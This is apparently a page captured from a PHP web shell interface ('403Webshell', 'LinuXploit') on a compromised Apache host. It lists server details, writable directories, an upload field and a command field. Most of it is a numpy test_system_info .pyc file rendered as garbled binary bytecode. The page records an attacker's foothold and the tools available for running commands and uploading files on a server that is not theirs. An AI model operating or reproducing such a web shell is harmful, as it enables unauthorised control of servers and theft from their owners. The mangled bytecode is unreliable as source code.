403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/numpy/distutils/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/numpy/distutils/tests/__pycache__/test_system_info.cpython-311.pyc
�

�;7f�+��r�ddlZddlZddlZddlmZmZddlmZmZddl	m
Z
ddlmZm
Z
mZddlmZmZddlmZmZmZddlmZdd	lmZmZdd
lmZdd�Zd
at6adZd�Ze��ZGd�de��Z Gd�de ��Z!Gd�de ��Z"Gd�de ��Z#Gd�d��Z$d�Z%dS)�N)�mkstemp�mkdtemp)�Popen�PIPE)�DistutilsError)�assert_�assert_equal�
assert_raises)�	ccompiler�customized_ccompiler)�system_info�ConfigParser�mkl_info)�AliasedOptionError)�default_lib_dirs�default_include_dirs)�_shell_utils�c��tttd��|���t
��}|��S)zg
    notfound_action:
      0 - do nothing
      1 - display warning message
      2 - raise error
    )�temp1�temp2�duplicate_options)�	Temp1Info�	Temp2Info�DuplicateOptionInfo�get�lower�_system_info)�name�notfound_action�cls   �H/usr/lib/python3/dist-packages/numpy/distutils/tests/test_system_info.py�	get_classr#sB����2�
�
�
�C��
�
���l�+�+���2�4�4�K�a�
[ALL]
library_dirs = {dir1:s}{pathsep:s}{dir2:s}
libraries = {lib1:s},{lib2:s}
extra_compile_args = -I/fake/directory -I"/path with/spaces" -Os
runtime_library_dirs = {dir1:s}

[temp1]
library_dirs = {dir1:s}
libraries = {lib1:s}
runtime_library_dirs = {dir1:s}

[temp2]
library_dirs = {dir2:s}
libraries = {lib2:s}
extra_link_args = -Wl,-rpath={lib2_escaped:s}
rpath = {dir2:s}

[duplicate_options]
mylib_libs = {lib1:s}
libraries = {lib2:s}
z�
/* This file is generated from numpy/distutils/testing/test_system_info.py */
#include<stdio.h>
void foo(void) {
   printf("Hello foo");
}
void bar(void) {
   printf("Hello bar");
}
c��t��}	|j}nN#t$rA	|js|���n#t
tf$rYYdSwxYw|jg}YnwxYw	t|tt���}|j
���|j���|�
��n#t$rYdSwxYwdS)z? Return True if there appears to be an executable compiler
    F)�stdout�stderrT)r�compiler�AttributeError�initialized�
initializer�
ValueError�ccrrr&�closer'�wait�OSError)r(�cmd�ps   r"�
have_compilerr3@s��$�%�%�H�����������	��'�
&��#�#�%�%�%����
�+�	�	�	��5�5�5�	�����{�m����
������#�d�4�0�0�0��	�������	�������	�������������u�u������4sB��
A#�?�A#�A�A#�A�A#�"A#�'A"C
�

C�Cc�"�eZdZeedfd�Zd�ZdS)rrc	�j�i|j_g|_ddddddddd�}t|��|_dS)N��0)�library_dirs�include_dirs�runtime_library_dirs�rpath�src_dirs�search_static_first�extra_compile_args�extra_link_args)�	__class__�info�local_prefixesr�cp)�selfrr�	verbosity�defaultss     r"�__init__z_system_info.__init__\sO��
!���� ���$&�$&�,.�� "�+.�*,�')�+�+���x�(�(����r$c��||d�}|S)z-Override _check_libs to return with all dirs )�	librariesr8�)rD�lib_dirs�libs�opt_libs�extsrAs      r"�_check_libsz_system_info._check_libsos��!�8�<�<���r$N)�__name__�
__module__�__qualname__rrrGrOrJr$r"rrZsB������#3�&:��)�)�)�)�&����r$rc��eZdZdZdZdS)r�For testing purposesrN�rPrQrR�__doc__�sectionrJr$r"rru����������G�G�Gr$rc��eZdZdZdZdS)rrTrNrUrJr$r"rrzrXr$rc��eZdZdZdZdS)rrTrNrUrJr$r"rr~s��������!�G�G�Gr$rc�p�eZdZd�Zd�Zd�Zd�Zd�Zd�Ze	j
�ed���e	j
�
d	���d
�����Ze	j
�ed���e	j
�deej����vd���e	j
�
d	���d
�������Zde������dg��vZe	j
�ed���d���ZdS)�TestSystemInfoReadingc�p�t��|_tj�|jd��|_tj�|jd��|_t��|_tj�|jd��|_tj�|jd��|_	tjd
i|j|j|j|j	tjtj�|j	g��d���at!��\}|_tj|��t'|jd��5}|�t��ddd��n#1swxYwYt'|jd��5}|�t*��ddd��n#1swxYwYt'|jd��5}|�t*��ddd��n#1swxYwYd�}|t-d	��|j��|_|t-d
��|j��|_|t-d��|j��|_|t-d��|j��|_dS)z Create the libraries zfoo.cz	libfoo.sozbar.cz	libbar.so)�dir1�lib1�dir2�lib2�pathsep�lib2_escaped�wNc�>�|g|_|���|S�N)�files�parse_config_files)�c�site_cfgs  r"�site_and_parsez:TestSystemInfoReading.setup_method.<locals>.site_and_parse�s"���j�A�G�
� � �"�"�"��Hr$�defaultrrrrJ)r�_dir1�os�path�join�_src1�_lib1�_dir2�_src2�_lib2�simple_site�formatrbr�NativeParserrjr�_sitecfgr.�open�write�fakelib_c_textr#�	c_default�c_temp1�c_temp2�
c_dup_options)rD�fdrks   r"�setup_methodz"TestSystemInfoReading.setup_method�s����Y�Y��
��W�\�\�$�*�g�6�6��
��W�\�\�$�*�k�:�:��
��Y�Y��
��W�\�\�$�*�g�6�6��
��W�\�\�$�*�k�:�:��
��%����J��J��J��J��z�(�5�:�:�D�J�<�H�H�
)
�)
����$�I�I���D�M�
������
�$�-��
%�
%�	���H�H�X����	�	�	�	�	�	�	�	�	�	�	����	�	�	�	��$�*�c�
"�
"�	%�b��H�H�^�$�$�$�	%�	%�	%�	%�	%�	%�	%�	%�	%�	%�	%����	%�	%�	%�	%�
�$�*�c�
"�
"�	%�b��H�H�^�$�$�$�	%�	%�	%�	%�	%�	%�	%�	%�	%�	%�	%����	%�	%�	%�	%�	�	�	�(��	�)�(<�(<�d�m�L�L���%�~�i��&8�&8�$�-�H�H���%�~�i��&8�&8�$�-�H�H���+�^�I�6I�,J�,J�,0�M�;�;����s6�'F�F�F�.G�G�G�5H�H �#H c��	tj|j��n#t$rYnwxYw	tj|j��n#t$rYnwxYw	tj|j��dS#t$rYdSwxYwrf)�shutil�rmtreerm�	Exceptionrsrn�removery)rDs r"�teardown_methodz%TestSystemInfoReading.teardown_method�s���	��M�$�*�%�%�%�%���	�	�	��D�	����	��M�$�*�%�%�%�%���	�	�	��D�	����	��I�d�m�$�$�$�$�$���	�	�	��D�D�	���s/��
)�)�A�
A�A�A3�3
B�Bc�t�|j}t|���|j|jg��t|���|j|jg��t|���|jg��|�	��}t|dgd���dS)Nr>)z-I/fake/directoryz-I/path with/spacesz-Os)
r}r	�get_lib_dirsrmrs�
get_librariesrrru�get_runtime_lib_dirs�calc_extra_info�rD�tsi�extras   r"�test_allzTestSystemInfoReading.test_all�s����n���S�%�%�'�'�$�*�d�j�)A�B�B�B��S�&�&�(�(�4�:�t�z�*B�C�C�C��S�-�-�/�/�$�*��>�>�>��#�#�%�%���U�/�0�2e�2e�2e�f�f�f�f�fr$c��|j}t|���|jg��t|���|jg��t|���|jg��dSrf)r~r	r�rmr�rrr��rDr�s  r"�
test_temp1z TestSystemInfoReading.test_temp1�so���l���S�%�%�'�'�$�*��6�6�6��S�&�&�(�(�4�:�,�7�7�7��S�-�-�/�/�$�*��>�>�>�>�>r$c�n�|j}t|���|jg��t|���|jg��t|�d���|jg��|���}t|dd|jzg��dS)Nr;)�keyr?z-Wl,-rpath=)rr	r�rsr�rur�r�r�s   r"�
test_temp2z TestSystemInfoReading.test_temp2�s����l���S�%�%�'�'�$�*��6�6�6��S�&�&�(�(�4�:�,�7�7�7��S�-�-�'�-�:�:�T�Z�L�I�I�I��#�#�%�%���U�,�-�
��
�0J�/K�L�L�L�L�Lr$c��|j}tt|jdd��t	|�d|jg��|jg��t	|�d|jg��|jg��dS)N�
mylib_libsrI)r�r
r�get_option_singler	�get_libsrrrur�s  r"�test_duplicate_optionsz,TestSystemInfoReading.test_duplicate_options�st��� ���(�#�*?��{�[�[�[��S�\�\�,����=�=��
�|�L�L�L��S�\�\�+��
�|�<�<�t�z�l�K�K�K�K�Kr$zMissing compiler)�reasonz,Debian: disabled as we cant properly compilec�N�t��}tj��}	tj|j��|�tj�|j��g|j���ttj�
|j�dd����p7tj�
|j�dd������tj|��dS#tj|��wxYw)N)�
output_dir�.c�.oz.obj)rrn�getcwd�chdirrm�compilero�basenamerqr�isfile�replace)rDri�previousDirs   r"�
test_compile1z#TestSystemInfoReading.test_compile1�s���
!�"�"���i�k�k��	"��H�T�Z� � � �
�I�I�r�w�'�'��
�3�3�4���I�L�L�L��B�G�N�N�4�:�#5�#5�d�D�#A�#A�B�B�E��G�N�N�4�:�#5�#5�d�F�#C�#C�D�D�
F�
F�
F�
�H�[�!�!�!�!�!��B�H�[�!�!�!�!���s�CD�D$�msvczFails with MSVC compiler c�"�|j}t��}|���d}tj��}	tj|j��|�tj�	|j
��g|j|���ttj�|j
�
dd������tj|��dS#tj|��wxYw)Nr?)r��extra_postargsr�r�)rrr�rnr�r�rsr�ror�rtrr�r�)rDr�rir?r�s     r"�
test_compile2z#TestSystemInfoReading.test_compile2�s����l�� �"�"���-�-�/�/�0A�B���i�k�k��	"��H�T�Z� � � �
�I�I�r�w�'�'��
�3�3�4���%4�
�
6�
6�
6�
�B�G�N�N�4�:�#5�#5�d�D�#A�#A�B�B�C�C�C��H�[�!�!�!�!�!��B�H�[�!�!�!�!���s
�BC8�8D�mkl_rtrIzD`[DEFAULT]` override doesn't work if numpy is built with MKL supportc���tj��}tj�|jd��}tj|j|��	tj|j��t��}|j
dd�tj��}|�
��|ksJ�t|d��5}|����ddd��}ddd��n#1swxYwYt|d��5}|�|��ddd��n#1swxYwYt��}|�
��|ksJ�t|d��5}|����dd	d��}ddd��n#1swxYwYt|d��5}|�|��ddd��n#1swxYwYt��}|�
��|ksJ�	tj|��dS#tj|��wxYw)
Nzsite.cfg�ALLr8�rz[ALL]z[mkl]rrdz	[DEFAULT])rnr�rorprmr��copyryr�rrC�splitrbr�rz�readr�r{)rDr��cfgrArK�fid�mkl�dflts        r"�test_overridesz$TestSystemInfoReading.test_overridess���i�k�k���g�l�l�4�:�z�2�2����D�M�3�'�'�'�	"��H�T�Z� � � ��:�:�D��w�u�~�n�5�;�;�B�J�G�G�H��$�$�&�&�(�2�2�2�2��c�3���
>�3��h�h�j�j�(�(��'�1�=�=��
>�
>�
>�
>�
>�
>�
>�
>�
>�
>�
>����
>�
>�
>�
>��c�3���
�3��	�	�#����
�
�
�
�
�
�
�
�
�
�
����
�
�
�
��:�:�D��$�$�&�&�(�2�2�2�2��c�3���
C�3��x�x�z�z�)�)�'�;��B�B��
C�
C�
C�
C�
C�
C�
C�
C�
C�
C�
C����
C�
C�
C�
C��c�3���
 �3��	�	�$����
 �
 �
 �
 �
 �
 �
 �
 �
 �
 �
 ����
 �
 �
 �
 ��:�:�D��$�$�&�&�(�2�2�2�2�2��H�[�!�!�!�!�!��B�H�[�!�!�!�!���s��BI�*D�?I�D�I�D�I�&E�<I�E�I�E�;I�*G�5I�G�I�G�	I�G>�2I�>H�I�H�+I�IN)rPrQrRr�r�r�r�r�r��pytest�mark�skipif�
HAVE_COMPILER�skipr��reprr�new_compilerr�r�calc_libraries_infor�HAS_MKL�xfailr�rJr$r"r\r\�s�������';�';�';�R
�
�
�g�g�g�?�?�?�M�M�M�L�L�L��[���M�)�2D��E�E��[���K��L�L�"�"�M�L�F�E�"��[���M�)�2D��E�E��[����$�$�'=�y�'=�'?�'?�"@�"@�@� ;��=�=��[���K��L�L�"�"�M�L�=�=�F�E�"� �(�(�*�*�8�8�:�:�>�>�{�B�O�O�O�G��[���w�)J��L�L�"�"�L�L�"�"�"r$r\c��ddlm}d}td��}|�|d��|||��\}}t	|��dksJ�|td��ksJ�t	|��dksJ�|�|d	��|||��\}}t	|��dksJ�t	|��dksJ�d
D]i}|�||�d���|||��\}}t	|��dksJ�|td
��ksJ�t	|��dksJ��jtjt��5|�|d��|||��ddd��n#1swxYwYtjt��5|�|d��|||��ddd��dS#1swxYwYdS)Nr)�_parse_env_order�#NPY_TESTS_DISTUTILS_PARSE_ENV_ORDER�abcdefzb,i,e,f��befrr6z^!zb,i,e��acdfzb,^e,iz!b,^e,i)�numpy.distutils.system_infor��list�setenv�lenr��raisesr,)�monkeypatchr��env�
base_order�order�unknown�prefixs       r"�test_distutils_parse_env_orderr�&s���<�<�<�<�<�<�
/�C��h���J����s�I�&�&�&�%�%�j�#�6�6�N�E�7��u�:�:��?�?�?�?��D��K�K������w�<�<�1��������s�B����%�%�j�#�6�6�N�E�7��u�:�:��?�?�?�?��w�<�<�1������!�!�����3�6� 0� 0� 0�1�1�1�)�)�*�c�:�:���w��5�z�z�Q�������V���$�$�$�$��7�|�|�q� � � � � �	��z�	"�	"�*�*����3��)�)�)����S�)�)�)�*�*�*�*�*�*�*�*�*�*�*����*�*�*�*�
��z�	"�	"�*�*����3�	�*�*�*����S�)�)�)�*�*�*�*�*�*�*�*�*�*�*�*����*�*�*�*�*�*s$�#E?�?F�F�##G�G�G)r)&rnr�r��tempfilerr�
subprocessrr�distutils.errorsr�
numpy.testingrr	r
�numpy.distutilsrrr�r
rrrrrrr#rvrjr|r3r�rrrrr\r�rJr$r"�<module>r�s)��	�	�	�	�
�
�
�
�
�
�
�
�%�%�%�%�%�%�%�%�"�"�"�"�"�"�"�"�+�+�+�+�+�+�>�>�>�>�>�>�>�>�>�>�;�;�;�;�;�;�;�;�K�K�K�K�K�K�K�K�K�K�:�:�:�:�:�:�N�N�N�N�N�N�N�N�(�(�(�(�(�(�������,��	�����.�
���
������;����6���������
���������"�"�"�"�"�,�"�"�"�
`"�`"�`"�`"�`"�`"�`"�`"�F*�*�*�*�*r$

Youez - 2016 - github.com/yon3zu
LinuXploit